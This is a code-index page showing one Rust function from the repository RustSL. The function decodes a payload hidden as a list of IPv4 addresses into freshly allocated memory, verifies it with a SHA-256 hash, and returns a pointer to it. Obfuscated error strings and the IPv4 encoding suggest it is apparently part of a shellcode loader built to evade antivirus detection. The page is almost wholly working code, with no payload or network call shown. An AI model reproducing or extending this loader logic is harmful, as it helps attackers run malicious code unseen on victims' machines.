MCPcopy Create free account
hub / github.com/echQoQ/RustSL / decrypt

Function decrypt

src/decrypt/ipv4.rs:3–36  ·  view source on GitHub ↗
(decoded: &[u8])

Source from the content-addressed store, hash-verified

1use crate::alloc_mem::alloc_mem;
2
3pub unsafe fn decrypt(decoded: &[u8]) -> Result<(usize, usize), String> {
4 use sha2::{Sha256, Digest};
5 use obfstr::obfstr;
6 let hash_len = 32;
7 let len_len = 4;
8 if decoded.len() < hash_len + len_len {
9 return Err(obfstr!("ipv4 payload too short").to_string());
10 }
11 let hash = &decoded[0..hash_len];
12 let len_bytes = &decoded[hash_len..hash_len + len_len];
13 let original_len = u32::from_le_bytes([len_bytes[0], len_bytes[1], len_bytes[2], len_bytes[3]]) as usize;
14 let addresses_str = std::str::from_utf8(&decoded[hash_len + len_len..]).map_err(|_| obfstr!("invalid utf8").to_string())?;
15 let addresses: Vec<&str> = addresses_str.split(',').collect();
16 let p = unsafe { alloc_mem(original_len)? };
17 let buf = std::slice::from_raw_parts_mut(p, original_len);
18 let mut idx = 0;
19 'outer: for addr_str in addresses {
20 let parts = addr_str.split('.').collect::<Vec<&str>>();
21 if parts.len() != 4 { return Err(obfstr!("Invalid IPv4 address").to_string()); }
22 for p in parts {
23 if idx >= original_len { break 'outer; }
24 let b: u8 = p.parse().map_err(|_| obfstr!("Invalid IPv4 byte").to_string())?;
25 buf[idx] = b;
26 idx += 1;
27 }
28 }
29 let mut hasher = Sha256::new();
30 hasher.update(&buf[..original_len]);
31 let calc_hash = hasher.finalize();
32 if hash != calc_hash.as_slice() {
33 return Err(obfstr!("ipv4 hash mismatch").to_string());
34 }
35 Ok((p as usize, original_len))
36}

Callers

nothing calls this directly

Calls 1

alloc_memFunction · 0.50

Tested by

no test coverage detected